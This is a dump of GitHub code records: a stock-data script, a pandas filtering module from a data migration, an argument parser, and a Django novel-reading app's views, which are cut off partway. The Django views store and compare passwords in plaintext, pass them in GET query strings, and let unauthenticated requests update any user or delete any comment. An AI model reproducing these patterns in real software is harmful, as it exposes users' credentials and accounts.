ON COLUMN STOCK_\" + code + \"_SZSE.OPEN IS '开盘价'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.CLOSE IS '收盘价'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.HIGH IS '最高价'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.LOW IS '最低价'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.VOLUME IS '成交量'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.AMOUNT IS '成交金额'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.Y_CLOSE IS '昨收盘'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.P_CHANGE IS '涨跌额'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.P_CHANGE_RATE IS '涨跌幅'\"]\n\tfor i in comments:\n\t\tcursor.execute(i)\n\n\tprint('建表成功')\n\n\n\ndef main():\n\tsystemTime = str(time.strftime('%Y%m%d', time.localtime(time.time())))\n\tcode = \"399001\"\n\tdf = get_data(code, systemTime)\n\tprint(df.head())\n\tinsert_data(df, code)\n\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"saberxxy/Python-Quant","sub_path":"GetStockData/GetSZSE.py","file_name":"GetSZSE.py","file_ext":"py","file_size_in_byte":4177,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"38"} +{"seq_id":"8123171365","text":"import datetime\nimport logging\nimport os\nimport numpy as np\nimport helpers\nimport pandas as pd\n\nfrom utilities.df_helpers import get_datetime_from_df_row\n\nlog = logging.getLogger(\"root\")\nenvironment = os.environ.get(\"ENVIRONMENT\")\n\nconfig = helpers.get_config(env=environment)\n\n\ndef format_additional_col_alias(original_column_name: str) -> str:\n return f\"c_{original_column_name.lower().replace(' ', '_').replace('.','')}\"\n\n\ndef source_conditions(df, conditions):\n\n convert_to_timestamp_cols = {\n k: v for k, v in conditions.items() if k == \"convert_to_timestamp\"\n }\n\n if convert_to_timestamp_cols:\n df = convert_to_timestamp(df, convert_to_timestamp_cols)\n for col in convert_to_timestamp_cols:\n conditions.pop(col, None)\n\n greater_than_cols = {k: v for k, v in conditions.items() if k == \"greater_than\"}\n if greater_than_cols:\n df = greater_than(df, greater_than_cols)\n for col in greater_than_cols:\n conditions.pop(col, None)\n\n less_than_cols = {k: v for k, v in conditions.items() if k == \"less_than\"}\n if less_than_cols:\n df = less_than(df, less_than_cols)\n for col in less_than_cols:\n conditions.pop(col, None)\n\n recent_or_open_invoices_cols = {\n k: v for k, v in conditions.items() if k == \"recent_or_open_invoices\"\n }\n if recent_or_open_invoices_cols:\n df = recent_or_open_invoices(df, recent_or_open_invoices_cols)\n for col in recent_or_open_invoices_cols:\n conditions.pop(col, None)\n\n date_since_cols = {k: v for k, v in conditions.items() if k == \"date_since\"}\n if date_since_cols:\n df = date_since(df, date_since_cols)\n for col in date_since_cols:\n conditions.pop(col, None)\n\n first_x_chars_cols = {k: v for k, v in conditions.items() if k == \"first_x_chars\"}\n if first_x_chars_cols:\n df = first_x_chars(df, first_x_chars_cols)\n for col in first_x_chars_cols:\n conditions.pop(col, None)\n\n exclude_values_cols = {k: v for k, v in conditions.items() if k == \"exclude_values\"}\n if exclude_values_cols:\n df = exclude_values(df, exclude_values_cols)\n for col in exclude_values_cols:\n conditions.pop(col, None)\n\n include_values_cols = {k: v for k, v in conditions.items() if k == \"include_values\"}\n if include_values_cols:\n df = include_values(df, include_values_cols)\n for col in include_values_cols:\n conditions.pop(col, None)\n\n not_null_cols = [k for k, v in conditions.items() if v == \"not null\"]\n if not_null_cols:\n df = remove_empty_rows(df, not_null_cols)\n for col in not_null_cols:\n conditions.pop(col, None)\n\n latest_cols = {k: v for k, v in conditions.items() if k == \"latest\"}\n if latest_cols:\n df = select_latest(df, latest_cols)\n for col in latest_cols:\n conditions.pop(col, None)\n\n df_cols = {k: v for k, v in conditions.items() if k in df.columns.tolist()}\n additional_cols = {\n format_additional_col_alias(original_column_name=k): v\n for k, v in conditions.items()\n if k not in df.columns.tolist()\n }\n\n renamed_conditions = {**df_cols, **additional_cols}\n\n # todo this actually needs fixing not just escaping!\n try:\n for column, value in renamed_conditions.items():\n df = df.loc[df[column] == str(value)]\n except Exception as e:\n log.error(f\"Error renaming columns in source conditions: {e}\")\n\n df = df.reset_index(drop=True)\n log.log(config.VERBOSE, f\"Dataframe size after applying conditions: {len(df)}\")\n\n return df\n\n\ndef convert_to_timestamp(df, cols):\n source_date = format_additional_col_alias(cols[\"convert_to_timestamp\"][\"date\"])\n source_time = format_additional_col_alias(cols[\"convert_to_timestamp\"][\"time\"])\n\n df[\"c_timestamp\"] = (\n df[[source_date, source_time]]\n .astype(str)\n .apply(\n lambda x: get_datetime_from_df_row(\n row=x,\n date_col=source_date,\n time_col=source_time,\n default_date=\"1900-01-01\",\n ),\n axis=1,\n )\n )\n\n df = df.astype({\"c_timestamp\": \"datetime64[ns]\"})\n\n log.log(\n config.VERBOSE,\n f\"Dataframe size after converting {source_date} and {source_time} to timestamp: {len(df)}\",\n )\n\n return df\n\n\ndef exclude_values(df, cols):\n\n col = format_additional_col_alias(cols[\"exclude_values\"][\"col\"])\n values_to_exclude = cols[\"exclude_values\"][\"values\"]\n\n log.debug(f\"Removing rows where '{col}' is one of {values_to_exclude}\")\n\n df = df[~df[col].isin(values_to_exclude)]\n\n return df\n\n\ndef include_values(df, cols):\n col = format_additional_col_alias(cols[\"include_values\"][\"col\"])\n\n values_to_include = cols[\"include_values\"][\"values\"]\n\n log.debug(f\"Keeping rows where '{col}' is one of {values_to_include}\")\n\n return df[df[col].isin(values_to_include)]\n\n\ndef greater_than(df, cols):\n col = format_additional_col_alias(cols[\"greater_than\"][\"col\"])\n value = cols[\"greater_than\"][\"value\"]\n\n log.debug(f\"Removing rows where '{col}' is not greater than {value}\")\n\n df[col] = df[col].astype(float)\n df = df[df[col] > value]\n\n return df\n\n\ndef less_than(df, cols):\n col = format_additional_col_alias(cols[\"less_than\"][\"col\"])\n value = cols[\"less_than\"][\"value\"]\n\n log.debug(f\"Removing rows where '{col}' is not less than {value}\")\n\n df[col] = df[col].astype(float)\n df = df[df[col] < value]\n\n return df\n\n\ndef recent_or_open_invoices(df, cols):\n # join sop_aged_debt on feeexport to get Open/Closed invoice status\n debt_col = \"Outstanding Amount\"\n aged_debt_query = f'select \"Trx Number\", \"{debt_col}\" from {config.schemas[\"pre_transform\"]}.sop_aged_debt;'\n aged_debt_df = pd.read_sql_query(\n aged_debt_query, config.get_db_connection_string(\"migration\")\n )\n aged_debt_df = aged_debt_df[[\"Trx Number\", debt_col]]\n\n df = df.merge(\n aged_debt_df,\n how=\"left\",\n left_on=\"Invoice No\",\n right_on=\"Trx Number\",\n )\n\n filtered_df = filter_recent_or_open_invoices(df=df, cols=cols, debt_col=debt_col)\n filtered_df = filtered_df.drop(columns=[\"Trx Number\", debt_col])\n\n return filtered_df\n\n\ndef date_since(df, cols):\n col = format_additional_col_alias(cols[\"date_since\"][\"col\"])\n since_datetime = datetime.datetime.strptime(cols[\"date_since\"][\"date\"], \"%d/%m/%Y\")\n\n log.debug(f\"Removing rows where '{col}' is before {since_datetime}\")\n\n filtered_df = df[\n df.apply(\n lambda x: pd.to_datetime(x[col], dayfirst=True).to_pydatetime()\n >= since_datetime,\n axis=1,\n )\n ]\n\n return filtered_df\n\n\ndef filter_recent_or_open_invoices(df, cols, debt_col):\n col = format_additional_col_alias(cols[\"recent_or_open_invoices\"][\"date_col\"])\n tax_year_from = cols[\"recent_or_open_invoices\"][\"tax_year_from\"]\n date_from = datetime.datetime(\n year=tax_year_from, month=3, day=31, hour=23, minute=59, second=59\n )\n\n log.debug(\n f\"Removing rows where '{col}' is on or before {date_from} and {debt_col} is null\"\n )\n\n def is_recent_or_open(date_col, debt_col):\n src_date = pd.to_datetime(date_col, dayfirst=True)\n src_datetime = src_date.to_pydatetime()\n is_recent = src_datetime > date_from\n return is_recent | pd.notnull(debt_col)\n\n df = df[df.apply(lambda x: is_recent_or_open(x[col], x[debt_col]), axis=1)]\n\n return df\n\n\ndef first_x_chars(df, cols):\n\n source_col = format_additional_col_alias(cols[\"first_x_chars\"][\"col\"])\n result_col = format_additional_col_alias(cols[\"first_x_chars\"][\"result_col\"])\n num = cols[\"first_x_chars\"][\"num\"]\n df[result_col] = df[source_col].apply(lambda x: x[:num])\n\n return df\n\n\ndef select_latest(df, latest_cols):\n\n col = format_additional_col_alias(latest_cols[\"latest\"][\"col\"])\n per = format_additional_col_alias(latest_cols[\"latest\"][\"per\"])\n\n log.debug(f\"Selecting latest '{col}' per '{per}'\")\n\n final_df = df.sort_values(col).groupby(per).tail(1)\n log.log(\n config.VERBOSE,\n f\"Dataframe size after selecting latest {col} per {per}: {len(final_df)}\",\n )\n\n return final_df\n\n\ndef remove_empty_rows(df, not_null_cols, how=\"all\"):\n\n if len(not_null_cols) == 0:\n log.debug(\"No null rows to remove\")\n return df\n\n log.debug(\n f\"Removing rows where these fields are all null: {', '.join(not_null_cols)}\"\n )\n\n final_df = df\n\n cols_to_remove = [x for x in df.columns.tolist() if x in not_null_cols]\n\n try:\n final_df = final_df.replace(\"\", np.nan)\n final_df = final_df.replace(\" \", np.nan)\n final_df = final_df.replace(\"0\", np.nan)\n\n final_df = final_df.dropna(subset=cols_to_remove, how=\"all\")\n final_df = final_df.reset_index(drop=True)\n final_df = final_df.replace(np.nan, \"\")\n\n except Exception as e:\n log.debug(f\"Problems removing null rows: {e}\")\n\n log.log(\n config.VERBOSE, f\"Dataframe size after removing empty rows: {len(final_df)}\"\n )\n\n return final_df\n","repo_name":"ministryofjustice/opg-data-casrec-migration","sub_path":"migration_steps/transform_casrec/transform/app/transform_data/apply_conditions.py","file_name":"apply_conditions.py","file_ext":"py","file_size_in_byte":9188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10650598533","text":"class Invalid_arg(Exception):\n def __init__(self,argument)->None:\n super().__init__(self)\n self.argument=argument\n\n def __str__(self)->str:\n return f\"Invalid argument: argument {self.argument} not found\"\n\nclass Flag():\n def __init__(self,flag_str:str,options:str)->None:\n self.flag_str = flag_str\n self.options = options\n\n def __str__(self)->str:\n return \"-\"*((len(self.flag_str)>1)+1)+self.flag_str\n\nclass Args():\n def __init__(self,cmds:tuple,usage:str)->None:\n self.cmds = cmds\n self.usage = usage\n self.flags = []\n self.help:tuple = ()\n\n def flag_add(self,flag:str,options:int)->None:\n self.flags.append(Flag(flag,options))\n\n def parse(self,args:list)->tuple:\n cmds:list = []\n flags:list = {}\n i=0\n while i 0:\r\n return f\"{time_diff.days} 天前读过\"\r\n elif time_diff.seconds // 3600 > 0:\r\n return f\"{time_diff.seconds // 3600} 小时前读过\"\r\n elif time_diff.seconds // 60 > 0:\r\n return f\"{time_diff.seconds // 60} 分钟前读过\"\r\n else:\r\n return \"刚刚读过\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#注册\r\ndef signup(request):\r\n user_id = request.GET.get('user_id')\r\n password = request.GET.get('password')\r\n username = request.GET.get('username')\r\n age = request.GET.get('age')\r\n gender = request.GET.get('gender')\r\n try:\r\n models.User.objects.get(user_id=user_id)\r\n return JsonResponse({'status': '400', 'message': '用户已存在'}, json_dumps_params={'ensure_ascii': False})\r\n except models.User.DoesNotExist:\r\n models.User.objects.create(user_id=user_id, password=password,username=username,gender=gender,age=age)\r\n return JsonResponse({'status': '200', 'message': '注册成功'}, json_dumps_params={'ensure_ascii': False})\r\n\r\n# 登录\r\nclass UserSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model=models.User\r\n fields=['user_id','username','gender','age','password']\r\n@csrf_exempt\r\ndef login(request):\r\n\r\n if request.method == 'GET':\r\n # 解析请求数据\r\n user_id = str(request.GET.get('user_id'))\r\n password = str(request.GET.get('password')) # 将密码��数值转换为字符串类型\r\n print(user_id, password)\r\n # 在数据库中查找用户\r\n try:\r\n user=models.User.objects.get(user_id=user_id)\r\n serializer = UserSerializer(user)\r\n # serialized_user = serializers.serialize('json', [user])\r\n # response_data = {\r\n # 'status': '200',\r\n # 'message': '查询用户信息成功',\r\n # 'user': serialized_user\r\n # }\r\n if user.password==password:\r\n # 匹配成功,返回成功响应\r\n return JsonResponse({'status': '200', 'message': '查询用户信息成功', 'user': serializer.data}, json_dumps_params={'ensure_ascii': False})\r\n else:\r\n # 匹配失败,返回错误响应\r\n return JsonResponse({'status': '400', 'message': '用户名或密码错误'}, json_dumps_params={'ensure_ascii': False})\r\n except models.User.DoesNotExist:\r\n # 没有找到用户,返回错误响应\r\n return JsonResponse({'status': '500', 'message': '用户不存在'}, json_dumps_params={'ensure_ascii': False})\r\n else:\r\n # 不支持其他请求方法,返回错误响应\r\n return JsonResponse({'status': 'error', 'message': '不支持该请求方法'}, json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n# 更新用户信息\r\n@csrf_exempt\r\ndef update_user(request):\r\n # 解析请求数据\r\n user_id = request.GET.get('user_id')\r\n username = request.GET.get('username')\r\n password = request.GET.get('password')\r\n gender = request.GET.get('gender')\r\n age = request.GET.get('age')\r\n age = int(age)\r\n print(user_id,username,password,gender,age)\r\n models.User.objects.filter(user_id=user_id).update(username=username,password=password,gender=gender,age=age)\r\n\r\n return JsonResponse({'status': '200', 'message': '更新成功'},json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n\r\n\r\n\r\n # 插入评论\r\n@csrf_exempt\r\ndef insert_comment(request):\r\n user_id=request.POST.get('user_id')\r\n novel_id=request.POST.get('novel_id')\r\n comment=request.POST.get('comment')\r\n # timestamp=request.POST.get('timestamp')\r\n # if timestamp:\r\n # comment_time = datetime.datetime.fromtimestamp(float(timestamp) / 1000)\r\n # else:\r\n # return JsonResponse({\"status\": \"error\", \"message\": \"Timestamp is missing\"}) ,created_time=comment_time\r\n\r\n models.Comment.objects.create(user_id=user_id, novel_id=novel_id, comment_content=comment, created_time=timezone.now())\r\n return JsonResponse({'status': '200', 'message': '评论成功'}, json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n# 显示评论\r\n@csrf_exempt\r\ndef commentget(request):\r\n if request.method == 'GET':\r\n novel_id = request.GET.get('novel_id')\r\n comment = models.Comment.objects.filter(novel_id=novel_id).select_related('user')\r\n if not comment:\r\n return JsonResponse({'comment':[]}, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n # 将查询结果转换为包含小说名字的字典列表\r\n data = []\r\n for item in comment:\r\n formatted_created_time = timezone.localtime(item.created_time).strftime('%Y-%m-%d %H:%M')\r\n data.append({\r\n 'comment_content':item.comment_content,\r\n 'created_time':formatted_created_time,\r\n 'username': item.user.username\r\n })\r\n\r\n return JsonResponse({'status': '200', 'message': '评论加载成功', 'comment': data},json_dumps_params={'ensure_ascii': False})\r\n else:\r\n # 不支持其他请求方法,返回错误响应\r\n return JsonResponse({'status': 'error', 'message': '不支持该请求方法'},json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n#收藏提交\r\n@csrf_exempt\r\ndef favorite(request):\r\n if request.method == 'POST':\r\n favorite = request.POST.get('favorite')\r\n user_id = request.POST.get('user_id')\r\n novel_id = request.POST.get('novel_id')\r\n #如果没有记录就插入\r\n try:\r\n user=models.Score.objects.get(user_id=user_id,novel_id=novel_id)\r\n except models.Score.DoesNotExist:\r\n models.Score.objects.create(user_id=user_id,novel_id=novel_id,favorite=favorite)\r\n return JsonResponse({'status': '200', 'message': '评分收藏插入成功'}, json_dumps_params={'ensure_ascii': False})\r\n # 更新信息\r\n models.Score.objects.filter(user_id=user_id,novel_id=novel_id).update(favorite=favorite)\r\n return JsonResponse({'status': '200', 'message': '评分收藏成功'},json_dumps_params={'ensure_ascii': False})\r\n else:\r\n # 不支持其他请求方法,返回错误响应\r\n return JsonResponse({'status': 'error', 'message': '不支持该请求方法'},json_dumps_params={'ensure_ascii': False})\r\n\r\n#收藏展示\r\nclass FavoriteSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = models.Score\r\n fields = ['user_id','comment_id','comment_content','created_time','novel_id']\r\ndef favoriteget(request):\r\n if request.method == 'GET':\r\n user_id = request.GET.get('user_id')\r\n novel_id = request.GET.get('novel_id')\r\n try:\r\n user = models.Score.objects.get(user_id=user_id, novel_id=novel_id)\r\n except models.Score.DoesNotExist:\r\n return JsonResponse({'status': '200', 'message': '没有记录', 'favorite': ''},json_dumps_params={'ensure_ascii': False})\r\n favorite = user.favorite\r\n return JsonResponse({'status': '200', 'message': '收藏记录获取成功', 'favorite': favorite },json_dumps_params={'ensure_ascii': False})\r\n else:\r\n # 不支持其他请求方法,返回错误响应\r\n return JsonResponse({'status': 'error', 'message': '不支持该请求方法'},json_dumps_params={'ensure_ascii': False})\r\n\r\n#显示最新小说\r\ndef newnovels(request):\r\n\r\n novels = models.novel.objects.all().order_by('-pa_time')[:15]\r\n data = list(novels.values())\r\n return JsonResponse(data, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n#显示全部小说\r\ndef allnovels(request):\r\n novels = models.novel.objects.all()\r\n data = list(novels.values())\r\n return JsonResponse(data, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n#小说专题推荐\r\ndef noveltopics(request):\r\n # 使用 filter 方法获取所有 state 为 1 的封面\r\n covers = models.Cover.objects.filter(state=1)\r\n\r\n # 创建一个列表来保存封面信息\r\n cover_list = []\r\n\r\n # 遍历查询结果,将每个封面的信息添加到列表中\r\n for cover in covers:\r\n cover_list.append({\r\n 'cover_id': cover.cover_id,\r\n 'cover_link': cover.cover_link,\r\n })\r\n\r\n\r\n return JsonResponse({'status': '200', 'message': '专题获取成功', 'cover_list': cover_list }, json_dumps_params={'ensure_ascii': False})\r\n\r\n#邮件\r\ndef Getmail(request):\r\n user_id = request.GET.get('user_id')\r\n # 使用 filter 方法获取所有 state 为 1 的封面\r\n mails = models.Mail.objects.filter(user_id=user_id)\r\n\r\n # 创建一个列表来保存封面信息\r\n mail_list = []\r\n\r\n # 遍历查询结果,将每个封面的信息添加到列表中\r\n for mail in mails:\r\n formatted_created_time = timezone.localtime(mail.mail_time).strftime('%Y-%m-%d %H:%M')\r\n mail_list.append({\r\n 'mail_id': mail.mail_id,\r\n 'content': mail.content,\r\n 'mail_time': formatted_created_time\r\n })\r\n\r\n\r\n return JsonResponse({'status': '200', 'message': '邮件获取成功', 'mail_list': mail_list }, json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n#获取小说详情\r\ndef novel_get(request):\r\n novel_id = request.GET.get('novel_id')\r\n novel = models.novel.objects.get(novel_id=novel_id)\r\n novel_dict = model_to_dict(novel)\r\n return JsonResponse({'status': '200', 'message': '小说获取成功', 'novel': novel_dict },json_dumps_params={'ensure_ascii': False})\r\n\r\n# 获取小说目录\r\nclass ChapterGetSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = models.Chapter\r\n fields = ['chapter_id','chapter_title','novel_id']\r\ndef chapterGet(request):\r\n novel_id = request.GET.get('novel_id')\r\n chapter = models.Chapter.objects.filter(novel_id=novel_id).order_by('chapter_id')\r\n chapterlist = ChapterGetSerializer(chapter, many=True).data\r\n\r\n return JsonResponse({'status': '200', 'message': '章节获取成功', 'chapterlist': chapterlist },json_dumps_params={'ensure_ascii': False})\r\n\r\n#根据章节ID获取章节内容\r\nclass ChapterSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = models.Chapter\r\n fields = ['chapter_id','chapter_title','content','novel_id']\r\ndef contentGet(request):\r\n chapter_id = request.GET.get('chapter_id')\r\n content = models.Chapter.objects.get(chapter_id=chapter_id)\r\n chapter = ChapterSerializer(content).data\r\n return JsonResponse({'status': '200', 'message': '内容获取成功', 'chapter': chapter},json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n#搜索小说\r\nclass SearchSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = models.novel\r\n fields = '__all__'\r\ndef search(requset):\r\n novel_title = requset.GET.get('novel_title')\r\n if not novel_title or novel_title.strip() == '':\r\n return JsonResponse([], safe=False, json_dumps_params={'ensure_ascii': False})\r\n novel = models.novel.objects.filter(novel_title__icontains=novel_title)\r\n serializer = SearchSerializer(novel,many=True).data\r\n return JsonResponse({'status': '200', 'message': '搜索成���', 'novel': serializer }, json_dumps_params={'ensure_ascii': False})\r\n\r\n#书架展示\r\ndef bookshelf(request):\r\n user_id = request.GET.get('user_id')\r\n booklist = models.Score.objects.filter(user_id=user_id, favorite=1).select_related('novel') # 使用 select_related 获取相关的小说信息\r\n\r\n # 如果查询结果为空,直接返回空列表\r\n if not booklist:\r\n return JsonResponse([], safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n # 将查询结果转换为包含小说名字的字典列表\r\n data = []\r\n for item in booklist:\r\n data.append({\r\n 'favorite': item.favorite,\r\n 'score': item.score,\r\n 'user_id': item.user_id,\r\n 'novel_id': item.novel.novel_id,\r\n 'novel_title': item.novel.novel_title,\r\n 'cover':item.novel.cover\r\n })\r\n\r\n return JsonResponse({'status': '200', 'message': '搜索成功', 'booklist': data }, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n# 我的评论\r\ndef mycomment(request):\r\n user_id = request.GET.get('user_id')\r\n comment = models.Comment.objects.filter(user_id=user_id).select_related('user')\r\n\r\n # 如果查询结果为空,直接返回空列表\r\n if not comment:\r\n return JsonResponse([], safe=False, json_dumps_params={'ensure_ascii': False})\r\n # 将查询结果转换为包含小说名字的字典列表\r\n data = []\r\n for item in comment:\r\n formatted_created_time = timezone.localtime(item.created_time).strftime('%Y-%m-%d %H:%M')\r\n data.append({\r\n 'comment_id':item.comment_id,\r\n 'comment_content':item.comment_content,\r\n 'created_time':formatted_created_time,\r\n 'username':item.user.username\r\n })\r\n\r\n return JsonResponse({'status': '200', 'message': '我的评论加载成功', 'commentlist': data}, safe=False,json_dumps_params={'ensure_ascii': False})\r\n\r\n#种类展示\r\ndef categoryget(request):\r\n categorylist = models.Category.objects.all()\r\n data = list(categorylist.values())\r\n return JsonResponse(data, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n#展示某个种类的小说\r\ndef catenovel(request):\r\n category_id = request.GET.get('category_id')\r\n category = models.Category.objects.get(category_id=category_id)\r\n category_name = category.category_name\r\n categorynovel = models.novel.objects.filter(category=category_name)\r\n data = list(categorynovel.values())\r\n return JsonResponse(data, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n# 用户历史记录提交\r\ndef historyup(request):\r\n user_id = request.GET.get('user_id')\r\n novel_id = request.GET.get('novel_id')\r\n lastchapter_id = request.GET.get('lastchapter_id')\r\n try:\r\n models.History.objects.get(user_id=user_id,novel_id=novel_id)\r\n except models.History.DoesNotExist:\r\n models.History.objects.create(user_id=user_id, novel_id=novel_id, lastchapter_id=lastchapter_id, history_time=timezone.now())\r\n models.History.objects.filter(user_id=user_id,novel_id=novel_id).update(lastchapter_id=lastchapter_id, history_time=timezone.now())\r\n return JsonResponse({'status': '200', 'message': '用户历史记录提交成功 '}, json_dumps_params={'ensure_ascii': False})\r\n\r\n# 立即阅读\r\ndef read(request):\r\n user_id = request.GET.get('user_id')\r\n novel_id = request.GET.get('novel_id')\r\n history = models.History.objects.filter(user_id=user_id,novel_id=novel_id)\r\n if not history.exists():\r\n lastchapter = models.Chapter.objects.filter(novel_id=novel_id).first().chapter_id\r\n data ={\r\n 'lastchapter_id': lastchapter,\r\n }\r\n else:\r\n lastchapter = history.first().lastchapter\r\n data = {\r\n 'lastchapter_id': lastchapter.chapter_id,\r\n }\r\n return JsonResponse({'status': '200', 'message': '立即阅读信息成功', 'historyread': data}, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n# 浏览记录展示\r\ndef myhistory(request):\r\n user_id = request.GET.get('user_id')\r\n history = models.History.objects.filter(user_id=user_id).select_related('lastchapter','novel')\r\n # 如果查询结果为空,直接返回空列表\r\n if not history:\r\n return JsonResponse([], safe=False, json_dumps_params={'ensure_ascii': False})\r\n # 将查询结果转换为包含小说名字的字典列表\r\n data = []\r\n for item in history:\r\n time_diff = time_since_last_read(item.history_time)\r\n data.append({\r\n 'history_id': item.history_id,\r\n 'history_time':time_diff,\r\n 'user_id': item.user_id,\r\n 'novel_id': item.novel_id,\r\n 'novel_title': item.novel.novel_title,\r\n 'novel_cover': item.novel.cover,\r\n 'lastchapter_id': item.lastchapter_id,\r\n 'lastchapter_name': item.lastchapter.chapter_title\r\n })\r\n\r\n return JsonResponse({'status': '200', 'message': '阅读记录加载成功', 'historylist': data}, safe=False,json_dumps_params={'ensure_ascii': False})\r\n\r\n# 评分提交\r\ndef scoreup(request):\r\n user_id = request.GET.get('user_id')\r\n novel_id = request.GET.get('novel_id')\r\n score = request.GET.get('score')\r\n # 如果没有记录就插入\r\n try:\r\n models.Score.objects.get(user_id=user_id, novel_id=novel_id)\r\n except models.Score.DoesNotExist:\r\n models.Score.objects.create(user_id=user_id, novel_id=novel_id, score=score)\r\n return JsonResponse({'status': '200', 'message': '评分提交成功'}, json_dumps_params={'ensure_ascii': False})\r\n # 更新信息\r\n models.Score.objects.filter(user_id=user_id, novel_id=novel_id).update(score=score)\r\n return JsonResponse({'status': '200', 'message': '评分提交成功'}, json_dumps_params={'ensure_ascii': False})\r\n\r\n# 获取评分\r\ndef getgrade(request):\r\n grade = 0\r\n ans = 0\r\n novel_id = request.GET.get('novel_id')\r\n Score = models.Score.objects.filter(novel_id=novel_id)\r\n for item in Score:\r\n if item.score is not None:\r\n grade += item.score\r\n ans += 1\r\n if ans == 0:\r\n return JsonResponse({'status': '200', 'message': '暂无评分信息','grade':'暂无评分'}, json_dumps_params={'ensure_ascii': False})\r\n grade = grade / ans\r\n rounded_grade = round(grade) # 四舍五入后的评分\r\n return JsonResponse({'status': '200', 'message': '评分获取成功','grade':rounded_grade}, json_dumps_params={'ensure_ascii': False})\r\n\r\n# 删除评论\r\ndef deletecomment(request):\r\n comment_id = request.GET.get('comment_id')\r\n try:\r\n comment = models.Comment.objects.get(comment_id=comment_id)\r\n comment.delete()\r\n return JsonResponse({'status': '200', 'message': '删除评分成功'}, json_dumps_params={'ensure_ascii': False})\r\n except models.Comment.DoesNotExist:\r\n return JsonResponse({'message': '评论不存在'})\r\n\r\n\r\nfrom django.db.models import Avg\r\n# 小说排名展示\r\ndef getrank(request):\r\n novels = models.novel.objects.annotate(avg_score=Avg('score__score')).order_by('-avg_score')\r\n data = []\r\n for novel in novels:\r\n avg_score = round(novel.avg_score, 1) if novel.avg_score is not None else \"暂无评分\"\r\n data.append({\r\n 'novel_id' : novel.novel_id,\r\n 'novel_title': novel.novel_title,\r\n 'novel_cover': novel.cover,\r\n 'author':novel.author,\r\n 'category':novel.category,\r\n 'score':avg_score\r\n })\r\n\r\n return JsonResponse({'status': '200', 'message': '排行榜加载成功', 'novelrank': data}, safe=False,json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n# # 小说排名展示\r\n# def getrank(request):\r\n# scores = models.Score.objects.order_by('-score').select_related('novel')\r\n# data = []\r\n# for item in scores:\r\n# data.append({\r\n# 'novel_id' : item.novel_id,\r\n# 'novel_title': item.novel.novel_title,\r\n# 'novel_cover': item.novel.cover,\r\n# 'author':item.novel.author,\r\n# 'category':item.novel.category,\r\n# 'score':item.score\r\n# })\r\n#\r\n# return JsonResponse({'status': '200', 'message': '排行榜加载成功', 'novelrank': data}, safe=False,json_dumps_params={'ensure_ascii': False})\r\n\r\n# 用户信息获取\r\n\r\ndef getuser(request):\r\n user_id = request.GET.get('user_id')\r\n user = models.User.objects.filter(user_id=user_id)\r\n data = list(user.values())\r\n return JsonResponse({'status': '200', 'message': '个人信息加载成功', 'user': data}, safe=False,json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n# 获取我的评分\r\n\r\ndef getmygrade(request):\r\n user_id = request.GET.get('user_id')\r\n novel_id = request.GET.get('novel_id')\r\n mygrade = models.Score.objects.filter(user_id=user_id,novel_id=novel_id)\r\n if mygrade.exists():\r\n data = list(mygrade.values())\r\n mygrade_score = data[0]['score']\r\n else:\r\n mygrade_score = '还没评分'\r\n\r\n\r\n return JsonResponse({'status': '200', 'message': '我的评分加载成功', 'mygrade': mygrade_score}, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n#获取我已经评分的小说\r\nfrom django.db.models import Q\r\n\r\ndef getscorenovel(request):\r\n user_id = request.GET.get('user_id')\r\n scorenovel = models.Score.objects.filter(user_id=user_id).exclude(score__isnull=True).select_related('novel')\r\n data = []\r\n for item in scorenovel:\r\n data.append({\r\n 'score_id':item.id,\r\n 'novel_id': item.novel_id,\r\n 'novel_title': item.novel.novel_title,\r\n 'novel_cover': item.novel.cover,\r\n 'author': item.novel.author,\r\n 'category': item.novel.category,\r\n 'score': item.score\r\n })\r\n return JsonResponse({'status': '200', 'message': '我的评分小说', 'scorenovel': data}, safe=False, json_dumps_params={'ensure_ascii': False})\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# **************************************************************************************************************************\r\nimport numpy as np\r\n\r\n\r\ndef pearson_correlation(ratings1, ratings2):\r\n # 找到同时为这两部小说评分的用户\r\n common_ratings_mask = (ratings1 > 0) & (ratings2 > 0)\r\n\r\n # 根据上述掩码提取这两部小说的共同评分\r\n ratings1_common = ratings1[common_ratings_mask]\r\n ratings2_common = ratings2[common_ratings_mask]\r\n\r\n if len(ratings1_common) == 0:\r\n return 0\r\n\r\n # 计算这两部小说的平均评分\r\n ratings1_mean = np.mean(ratings1_common)\r\n ratings2_mean = 